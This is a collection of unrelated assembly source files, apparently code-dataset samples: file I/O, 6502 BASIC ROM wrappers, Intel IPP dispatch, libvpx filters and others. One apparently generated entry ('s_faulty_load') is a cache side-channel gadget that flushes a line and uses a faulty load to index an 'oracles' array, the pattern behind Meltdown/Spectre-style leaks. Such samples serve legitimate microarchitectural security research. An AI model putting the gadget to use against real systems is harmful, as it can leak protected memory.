;back into registers from the stack so we can call free_mem on them, as they both use dynamically allocated memory
;move the file name pointer into RDI and call free_mem on it
mov rdi, [rsp]
call free_mem
;move the file content pointer into RDI and call free_mem on it
mov rdi, [rsp+8]
call free_mem
;print a failure message if the file was not written successfully
cmp QWORD [rsp+16],1 ; 1 = success
je .success
mov rdi, QWORD failure_message
call print_string
.success:
;restore the stack frame of the function that called this function
;first add back the amount that we subtracted from RSP
;including any additional subtractions we made to RSP after the initial one (just sum them)
add rsp, 32
;after we add what we subtracted back to RSP, the value of RBP we pushed is the only thing left
;so we pop it back into RBP to restore the stack base pointer
pop rbp
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x15ca4, %r12
nop
add %r15, %r15
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
sub $60927, %r13
lea addresses_normal_ht+0x18fbd, %rsi
lea addresses_A_ht+0xd87d, %rdi
nop
nop
xor %rbp, %rbp
mov $121, %rcx
rep movsw
nop
nop
nop
add $2719, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rdi
push %rsi
// Store
lea addresses_normal+0x1538d, %r15
clflush (%r15)
add $34248, %rax
movl $0x51525354, (%r15)
sub %r12, %r12
// Faulty Load
lea addresses_PSE+0x141fd, %rdi
nop
add %rax, %rax
movb (%rdi), %r13b
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rdi
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; double pi ();
; -------------
; This function returns the real number pi (3.1415926535...).
section .code
global _pi
_pi push rbp
mov rbp, rsp
fldpi
pop rbp
ret
|
INCLUDE "config_private.inc"
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC rc_01_output_siob_iterm_msg_putc
EXTERN rc_01_output_siob_oterm_msg_putc_raw
rc_01_output_siob_iterm_msg_putc:
; enter : c = char to output
; can use: af, bc, de, hl, ix
; char to print is coming from the input terminal
; so it should not be subject to tty emulation
; input terminal must not echo control codes
ld a,c
cp 32
jp nc, rc_01_output_siob_oterm_msg_putc_raw
cp CHAR_LF
jp z, rc_01_output_siob_oterm_msg_putc_raw
ld c,'?'
jp rc_01_output_siob_oterm_msg_putc_raw
|
;###################################
BRCOPYREALAY
STX BRBUFFER+6 ;save X
LDX #4
STY BRCOPYLOOP+2 ; modify from address
STA BRCOPYLOOP+1
BRCOPYLOOP LDA $FFFF,X
STA BRBUFFER,X
DEX
BPL BRCOPYLOOP
LDX BRBUFFER+6 ; restore X
LDA #<BRBUFFER
LDY #>BRBUFFER
RTS
;###################################
BRCOPYREALXY
PHA ;save A
LDX BRBUFFER+6
LDY BRBUFFER+7
STX BRCOPYLOOP2+4 ; modify from address
STY BRCOPYLOOP2+5
LDX #4
BRCOPYLOOP2 LDA BRBUFFER,X
STA $FFFF,X
DEX
BPL BRCOPYLOOP2
PLA ; restore A
RTS
;###################################
BRCOPYSTRING
CPY #0
BNE BRCOPYSTRINGCONT
RTS
BRCOPYSTRINGCONT
PHA
TYA
PHA
LDA #<BRBUFFER
STA BRCOPYSTRINGLOOP+4
LDA #>BRBUFFER
STA BRCOPYSTRINGLOOP+5
BRCOPYSTRINGLOOP
DEY
LDA (INDEX1),Y
STA $FFFF,Y
CPY #0
BNE BRCOPYSTRINGLOOP
LDA #<BRBUFFER
STA INDEX1
LDA #>BRBUFFER
STA INDEX1+1
PLA
TAY
PLA
RTS
;###################################
MEMARG STA $22
STY $23
LDY #$04
LDA ($22),Y
STA ARGLO
DEY
LDA ($22),Y
STA ARGMO
DEY
LDA ($22),Y
STA ARGMOH
DEY
LDA ($22),Y
STA ARGSGN
EOR FACSGN
STA ARISGN
LDA ARGSGN
ORA #$80
STA ARGHO
DEY
LDA ($22),Y
STA ARGEXP
LDA FACEXP
RTS
;###################################
REALFAC STA $22
STY $23
LDY #$04
LDA ($22),Y
STA FACLO
DEY
LDA ($22),Y
STA FACMO
DEY
LDA ($22),Y
STA FACMOH
DEY
LDA ($22),Y
STA FACSGN
ORA #$80
STA FACHO
DEY
LDA ($22),Y
STA FACEXP
STY FACOV
RTS
;###################################
FACMEM STX $22
STY $23
LDY #$04
LDA FACLO
STA ($22),Y
DEY
LDA FACMO
STA ($22),Y
DEY
LDA FACMOH
STA ($22),Y
DEY
LDA FACSGN
ORA #$7F
AND FACHO
STA ($22),Y
DEY
LDA FACEXP
STA ($22),Y
STY FACOV
RTS
;###################################
MEMMUL CPY #>BRROMSTART
BCC BRMEMMULN
CPY #>BRROMEND
BCS BRMEMMULN
JSR BRCOPYREALAY
BRMEMMULN JSR ENABLEROM
JSR BRMEMMUL
JMP DISABLEROM
;###################################
MEMSUB CPY #>BRROMSTART
BCC BRMEMSUBN
CPY #>BRROMEND
BCS BRMEMSUBN
JSR BRCOPYREALAY
BRMEMSUBN JSR ENABLEROM
JSR BRMEMSUB
JMP DISABLEROM
;###################################
FACADD CPY #>BRROMSTART
BCC BRFACADDN
CPY #>BRROMEND
BCS BRFACADDN
JSR BRCOPYREALAY
BRFACADDN JSR ENABLEROM
JSR BRFACADD
JMP DISABLEROM
;###################################
FACDIV CPY #>BRROMSTART
BCC BRFACDIVN
CPY #>BRROMEND
BCS BRFACDIVN
JSR BRCOPYREALAY
BRFACDIVN JSR ENABLEROM
JSR BRFACDIV
JMP DISABLEROM
;###################################
CMPFAC CPY #>BRROMSTART
BCC BRCMPFACN
CPY #>BRROMEND
BCS BRCMPFACN
JSR BRCOPYREALAY
BRCMPFACN JSR ENABLEROM
JSR BRCMPFAC
JMP DISABLEROM
;###################################
VALS PHA
LDA INDEX1+1 ; y = length, INDEX1/INDEX1+1 address
CMP #>BRROMSTART
BCC BRVALSN
CMP #>BRROMEND
BCS BRVALSN
JSR BRCOPYSTRING
BRVALSN PLA
JSR ENABLEROM
JSR BRVALS
JMP DISABLEROM
;###################################
PRINTSTRS
PHA
LDA INDEX1+1 ; x = length, INDEX1/INDEX1+1 address
CMP #>BRROMSTART
BCC BRPRINTSTRSN
CMP #>BRROMEND
BCS BRPRINTSTRSN
TXA ; move length into Y to reuse copy routine
TAY
JSR BRCOPYSTRING
TYA ; ...and back
TAX
BRPRINTSTRSN
PLA
JSR ENABLEROM
JSR BRPRINTSTRS
JMP DISABLEROM
;###################################
SGNFAC JSR ENABLEROM
JSR BRSGNFAC
JMP DISABLEROM
;###################################
ARGADD JSR ENABLEROM
JSR BRARGADD
JMP DISABLEROM
;###################################
ARGAND JSR ENABLEROM
JSR BRARGAND
JMP DISABLEROM
;###################################
ARGDIV JSR ENABLEROM
JSR BRARGDIV
JMP DISABLEROM
;###################################
FACMUL JSR ENABLEROM
JSR BRFACMUL
JMP DISABLEROM
;###################################
FACLOG JSR ENABLEROM
JSR BRFACLOG
JMP DISABLEROM
;###################################
FACSQR JSR ENABLEROM
JSR BRFACSQR
JMP DISABLEROM
;###################################
FACEXPCALL JSR ENABLEROM
JSR BRFACEXPCALL
JMP DISABLEROM
;###################################
FACABS JSR ENABLEROM
JSR BRFACABS
JMP DISABLEROM
;###################################
FACSIN JSR ENABLEROM
JSR BRFACSIN
JMP DISABLEROM
;###################################
FACCOS JSR ENABLEROM
JSR BRFACCOS
JMP DISABLEROM
;###################################
FACTAN JSR ENABLEROM
JSR BRFACTAN
JMP DISABLEROM
;###################################
FACATN JSR ENABLEROM
JSR BRFACATN
JMP DISABLEROM
;###################################
FACSIG JSR ENABLEROM
JSR BRFACSIG
JMP DISABLEROM
;###################################
FACNOT JSR ENABLEROM
JSR BRFACNOT
JMP DISABLEROM
;###################################
FACRND JSR ENABLEROM
JSR BRFACRND
JMP DISABLEROM
;###################################
FACWORD JSR ENABLEROM
JSR BRFACWORD
JMP DISABLEROM
;###################################
BASINT JSR ENABLEROM
JSR BRBASINT
JMP DISABLEROM
;###################################
FACPOW JSR ENABLEROM
JSR BRFACPOW
JMP DISABLEROM
;###################################
FACSUB JSR ENABLEROM
JSR BRFACSUB
JMP DISABLEROM
;###################################
FACOR JSR ENABLEROM
JSR BRFACOR
JMP DISABLEROM
;###################################
ARGFAC JSR ENABLEROM
JSR BRARGFAC
JMP DISABLEROM
;###################################
FACARG JSR ENABLEROM
JSR BRFACARG
JMP DISABLEROM
;###################################
FACSTR JSR ENABLEROM
JSR BRFACSTR
JMP DISABLEROM
;###################################
FACINT JSR ENABLEROM
JSR BRFACINT
JMP DISABLEROM
;###################################
RNDFAC JSR ENABLEROM
JSR BRRNDFAC
JMP DISABLEROM
;###################################
INTFAC JSR ENABLEROM
JSR BRINTFAC
JMP DISABLEROM
;###################################
WRITETIS JSR ENABLEROM
JSR BRWRITETIS
JMP DISABLEROM
;###################################
GETTI JSR ENABLEROM
JSR BRGETTI
JMP DISABLEROM
;###################################
GETTIME JSR ENABLEROM
JSR BRGETTIME
JMP DISABLEROM
;###################################
COPYTIME JSR ENABLEROM
JSR BRCOPYTIME
JMP DISABLEROM
;###################################
TI2FAC JSR ENABLEROM
JSR BRTI2FAC
JMP DISABLEROM
;###################################
BYTEFAC JSR ENABLEROM
JSR BRBYTEFAC
JMP DISABLEROM
;###################################
CRSRRIGHT JSR ENABLEROM
JSR BRCRSRRIGHT
JMP DISABLEROM
;###################################
ERRALL JSR ENABLEROM
JSR BRERRALL
JMP DISABLEROM
;###################################
ERRIQ JSR ENABLEROM
JSR BRERRIQ
JMP DISABLEROM
;###################################
ERREI JSR ENABLEROM
JSR BRERREI
JMP DISABLEROM
;###################################
ERRSYN JSR ENABLEROM
JSR BRERRSYN
JMP DISABLEROM
;###################################
INPUT JSR ENABLEROM
JSR BRINPUT
JMP DISABLEROM
;###################################
|
extern m7_ippsSHA1Duplicate:function
extern n8_ippsSHA1Duplicate:function
extern y8_ippsSHA1Duplicate:function
extern e9_ippsSHA1Duplicate:function
extern l9_ippsSHA1Duplicate:function
extern n0_ippsSHA1Duplicate:function
extern k0_ippsSHA1Duplicate:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsSHA1Duplicate
.Larraddr_ippsSHA1Duplicate:
dq m7_ippsSHA1Duplicate
dq n8_ippsSHA1Duplicate
dq y8_ippsSHA1Duplicate
dq e9_ippsSHA1Duplicate
dq l9_ippsSHA1Duplicate
dq n0_ippsSHA1Duplicate
dq k0_ippsSHA1Duplicate
segment .text
global ippsSHA1Duplicate:function (ippsSHA1Duplicate.LEndippsSHA1Duplicate - ippsSHA1Duplicate)
.Lin_ippsSHA1Duplicate:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsSHA1Duplicate:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsSHA1Duplicate]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsSHA1Duplicate:
|
; A213394: The difference between n and the product of the digits of the n-th prime.
; Submitted by Jon Maiga
; -1,-1,-2,-3,4,3,0,-1,3,-8,8,-9,9,2,-13,1,-28,12,-23,13,0,-41,-1,-48,-38,26,27,28,29,27,17,29,12,7,-1,31,2,20,-3,19,-22,34,34,17,-18,-35,45,36,21,14,33,-2,45,44,-15,20,-51,44,-39,44,13,8,63,61,56,45,58,5,-15,-38,26,-63,-53,11,-114,4,-139,-111,79,80,45,74,71,48,-23,38,-57,-52,65,18,-77,-160,-131,58,-229,96,97,88,69,80
mov $2,$0
seq $0,53666 ; Product of digits of n-th prime.
sub $0,1
sub $2,$0
mov $0,$2
|
/*
* All MBAFF frame picture HWMC kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
// 2857702934 // 0xAA551616 - GUID for Intra_16x16 luma prediction mode offsets
// 0 // Offset to Intra_16x16 luma prediction mode 0
// 9 // Offset to Intra_16x16 luma prediction mode 1
// 19 // Offset to Intra_16x16 luma prediction mode 2
// 42 // Offset to Intra_16x16 luma prediction mode 3
// 2857699336 // 0xAA550808 - GUID for Intra_8x8 luma prediction mode offsets
// 0 // Offset to Intra_8x8 luma prediction mode 0
// 5 // Offset to Intra_8x8 luma prediction mode 1
// 10 // Offset to Intra_8x8 luma prediction mode 2
// 26 // Offset to Intra_8x8 luma prediction mode 3
// 36 // Offset to Intra_8x8 luma prediction mode 4
// 50 // Offset to Intra_8x8 luma prediction mode 5
// 68 // Offset to Intra_8x8 luma prediction mode 6
// 85 // Offset to Intra_8x8 luma prediction mode 7
// 95 // Offset to Intra_8x8 luma prediction mode 8
// 2857698308 // 0xAA550404 - GUID for Intra_4x4 luma prediction mode offsets
// 0 // Offset to Intra_4x4 luma prediction mode 0
// 2 // Offset to Intra_4x4 luma prediction mode 1
// 4 // Offset to Intra_4x4 luma prediction mode 2
// 16 // Offset to Intra_4x4 luma prediction mode 3
// 23 // Offset to Intra_4x4 luma prediction mode 4
// 32 // Offset to Intra_4x4 luma prediction mode 5
// 45 // Offset to Intra_4x4 luma prediction mode 6
// 59 // Offset to Intra_4x4 luma prediction mode 7
// 66 // Offset to Intra_4x4 luma prediction mode 8
// 2857700364 // 0xAA550C0C - GUID for intra chroma prediction mode offsets
// 0 // Offset to intra chroma prediction mode 0
// 30 // Offset to intra chroma prediction mode 1
// 36 // Offset to intra chroma prediction mode 2
// 41 // Offset to intra chroma prediction mode 3
// Kernel name: AllAVCMBAFF.asm
//
// All MBAFF frame picture HWMC kernels merged into this file
//
// $Revision: 1 $
// $Date: 4/13/06 4:35p $
//
// ----------------------------------------------------
// Main: AllAVCMBAFF
// ----------------------------------------------------
#define ALLHWMC
#define COMBINED_KERNEL
.kernel AllAVCMBAFF
#include "Intra_PCM.asm"
#include "Intra_16x16.asm"
#include "Intra_8x8.asm"
#include "Intra_4x4.asm"
#include "scoreboard.asm"
#define MBAFF
#include "AVCMCInter.asm"
// End of AllAVCMBAFF
.end_kernel
|
;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
%include "vpx_ports/x86_abi_support.asm"
%macro VERTx4 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm0, xmm4, 0b ;k0_k1
pshuflw xmm1, xmm4, 01010101b ;k2_k3
pshuflw xmm2, xmm4, 10101010b ;k4_k5
pshuflw xmm3, xmm4, 11111111b ;k6_k7
punpcklqdq xmm0, xmm0
punpcklqdq xmm1, xmm1
punpcklqdq xmm2, xmm2
punpcklqdq xmm3, xmm3
movdqa k0k1, xmm0
movdqa k2k3, xmm1
pshufd xmm5, xmm5, 0
movdqa k4k5, xmm2
movdqa k6k7, xmm3
movdqa krd, xmm5
movsxd rdx, DWORD PTR arg(1) ;pixels_per_line
%if ABI_IS_32BIT=0
movsxd r8, DWORD PTR arg(3) ;out_pitch
%endif
mov rax, rsi
movsxd rcx, DWORD PTR arg(4) ;output_height
add rax, rdx
lea rbx, [rdx + rdx*4]
add rbx, rdx ;pitch * 6
.loop:
movd xmm0, [rsi] ;A
movd xmm1, [rsi + rdx] ;B
movd xmm2, [rsi + rdx * 2] ;C
movd xmm3, [rax + rdx * 2] ;D
movd xmm4, [rsi + rdx * 4] ;E
movd xmm5, [rax + rdx * 4] ;F
punpcklbw xmm0, xmm1 ;A B
punpcklbw xmm2, xmm3 ;C D
punpcklbw xmm4, xmm5 ;E F
movd xmm6, [rsi + rbx] ;G
movd xmm7, [rax + rbx] ;H
pmaddubsw xmm0, k0k1
pmaddubsw xmm2, k2k3
punpcklbw xmm6, xmm7 ;G H
pmaddubsw xmm4, k4k5
pmaddubsw xmm6, k6k7
movdqa xmm1, xmm2
paddsw xmm0, xmm6
pmaxsw xmm2, xmm4
pminsw xmm4, xmm1
paddsw xmm0, xmm4
paddsw xmm0, xmm2
paddsw xmm0, krd
psraw xmm0, 7
packuswb xmm0, xmm0
add rsi, rdx
add rax, rdx
%if %1
movd xmm1, [rdi]
pavgb xmm0, xmm1
%endif
movd [rdi], xmm0
%if ABI_IS_32BIT
add rdi, DWORD PTR arg(3) ;out_pitch
%else
add rdi, r8
%endif
dec rcx
jnz .loop
%endm
%macro VERTx8 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm0, xmm4, 0b ;k0_k1
pshuflw xmm1, xmm4, 01010101b ;k2_k3
pshuflw xmm2, xmm4, 10101010b ;k4_k5
pshuflw xmm3, xmm4, 11111111b ;k6_k7
punpcklqdq xmm0, xmm0
punpcklqdq xmm1, xmm1
punpcklqdq xmm2, xmm2
punpcklqdq xmm3, xmm3
movdqa k0k1, xmm0
movdqa k2k3, xmm1
pshufd xmm5, xmm5, 0
movdqa k4k5, xmm2
movdqa k6k7, xmm3
movdqa krd, xmm5
movsxd rdx, DWORD PTR arg(1) ;pixels_per_line
%if ABI_IS_32BIT=0
movsxd r8, DWORD PTR arg(3) ;out_pitch
%endif
mov rax, rsi
movsxd rcx, DWORD PTR arg(4) ;output_height
add rax, rdx
lea rbx, [rdx + rdx*4]
add rbx, rdx ;pitch * 6
.loop:
movq xmm0, [rsi] ;A
movq xmm1, [rsi + rdx] ;B
movq xmm2, [rsi + rdx * 2] ;C
movq xmm3, [rax + rdx * 2] ;D
movq xmm4, [rsi + rdx * 4] ;E
movq xmm5, [rax + rdx * 4] ;F
punpcklbw xmm0, xmm1 ;A B
punpcklbw xmm2, xmm3 ;C D
punpcklbw xmm4, xmm5 ;E F
movq xmm6, [rsi + rbx] ;G
movq xmm7, [rax + rbx] ;H
pmaddubsw xmm0, k0k1
pmaddubsw xmm2, k2k3
punpcklbw xmm6, xmm7 ;G H
pmaddubsw xmm4, k4k5
pmaddubsw xmm6, k6k7
paddsw xmm0, xmm6
movdqa xmm1, xmm2
pmaxsw xmm2, xmm4
pminsw xmm4, xmm1
paddsw xmm0, xmm4
paddsw xmm0, xmm2
paddsw xmm0, krd
psraw xmm0, 7
packuswb xmm0, xmm0
add rsi, rdx
add rax, rdx
%if %1
movq xmm1, [rdi]
pavgb xmm0, xmm1
%endif
movq [rdi], xmm0
%if ABI_IS_32BIT
add rdi, DWORD PTR arg(3) ;out_pitch
%else
add rdi, r8
%endif
dec rcx
jnz .loop
%endm
%macro VERTx16 1
mov rdx, arg(5) ;filter ptr
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;output_ptr
mov rcx, 0x0400040
movdqa xmm4, [rdx] ;load filters
movq xmm5, rcx
packsswb xmm4, xmm4
pshuflw xmm0, xmm4, 0b ;k0_k1
pshuflw xmm1, xmm4, 01010101b ;k2_k3
pshuflw xmm2, xmm4, 10101010b ;k4_k5
pshuflw xmm3, xmm4, 11111111b ;k6_k7
punpcklqdq xmm0, xmm0
punpcklqdq xmm1, xmm1
punpcklqdq xmm2, xmm2
punpcklqdq xmm3, xmm3
movdqa k0k1, xmm0
movdqa k2k3, xmm1
pshufd xmm5, xmm5, 0
movdqa k4k5, xmm2
movdqa k6k7, xmm3
movdqa krd, xmm5
movsxd rdx, DWORD PTR arg(1) ;pixels_per_line
%if ABI_IS_32BIT=0
movsxd r8, DWORD PTR arg(3) ;out_pitch
%endif
mov rax, rsi
movsxd rcx, DWORD PTR arg(4) ;output_height
add rax, rdx
lea rbx, [rdx + rdx*4]
add rbx, rdx ;pitch * 6
.loop:
movq xmm0, [rsi] ;A
movq xmm1, [rsi + rdx] ;B
movq xmm2, [rsi + rdx * 2] ;C
movq xmm3, [rax + rdx * 2] ;D
movq xmm4, [rsi + rdx * 4] ;E
movq xmm5, [rax + rdx * 4] ;F
punpcklbw xmm0, xmm1 ;A B
punpcklbw xmm2, xmm3 ;C D
punpcklbw xmm4, xmm5 ;E F
movq xmm6, [rsi + rbx] ;G
movq xmm7, [rax + rbx] ;H
pmaddubsw xmm0, k0k1
pmaddubsw xmm2, k2k3
punpcklbw xmm6, xmm7 ;G H
pmaddubsw xmm4, k4k5
pmaddubsw xmm6, k6k7
paddsw xmm0, xmm6
movdqa xmm1, xmm2
pmaxsw xmm2, xmm4
pminsw xmm4, xmm1
paddsw xmm0, xmm4
paddsw xmm0, xmm2
paddsw xmm0, krd
psraw xmm0, 7
packuswb xmm0, xmm0
%if %1
movq xmm1, [rdi]
pavgb xmm0, xmm1
%endif
movq [rdi], xmm0
movq xmm0, [rsi + 8] ;A
movq xmm1, [rsi + rdx + 8] ;B
movq xmm2, [rsi + rdx * 2 + 8] ;C
movq xmm3, [rax + rdx * 2 + 8] ;D
movq xmm4, [rsi + rdx * 4 + 8] ;E
movq xmm5, [rax + rdx * 4 + 8] ;F
punpcklbw xmm0, xmm1 ;A B
punpcklbw xmm2, xmm3 ;C D
punpcklbw xmm4, xmm5 ;E F
movq xmm6, [rsi + rbx + 8] ;G
movq xmm7, [rax + rbx + 8] ;H
punpcklbw xmm6, xmm7 ;G H
pmaddubsw xmm0, k0k1
pmaddubsw xmm2, k2k3
pmaddubsw xmm4, k4k5
pmaddubsw xmm6, k6k7
paddsw xmm0, xmm6
movdqa xmm1, xmm2
pmaxsw xmm2, xmm4
pminsw xmm4, xmm1
paddsw xmm0, xmm4
paddsw xmm0, xmm2
paddsw xmm0, krd
psraw xmm0, 7
packuswb xmm0, xmm0
add rsi, rdx
add rax, rdx
%if %1
movq xmm1, [rdi+8]
pavgb xmm0, xmm1
%endif
movq [rdi+8], xmm0
%if ABI_IS_32BIT
add rdi, DWORD PTR arg(3) ;out_pitch
%else
add rdi, r8
%endif
dec rcx
jnz .loop
%endm
;void vpx_filter_block1d8_v8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pitch,
; unsigned char *output_ptr,
; unsigned int out_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d4_v8_ssse3) PRIVATE
sym(vpx_filter_block1d4_v8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
%define k2k3 [rsp + 16*1]
%define k4k5 [rsp + 16*2]
%define k6k7 [rsp + 16*3]
%define krd [rsp + 16*4]
VERTx4 0
add rsp, 16*5
pop rsp
pop rbx
; begin epilog
pop rdi
pop rsi
RESTORE_XMM
UNSHADOW_ARGS
pop rbp
ret
;void vpx_filter_block1d8_v8_ssse3
;(
; unsigned char *src_ptr,
; unsigned int src_pitch,
; unsigned char *output_ptr,
; unsigned int out_pitch,
; unsigned int output_height,
; short *filter
;)
global sym(vpx_filter_block1d8_v8_ssse3) PRIVATE
sym(vpx_filter_block1d8_v8_ssse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 6
SAVE_XMM 7
push rsi
push rdi
push rbx
; end prolog
ALIGN_STACK 16, rax
sub rsp, 16*5
%define k0k1 [rsp + 16*0]
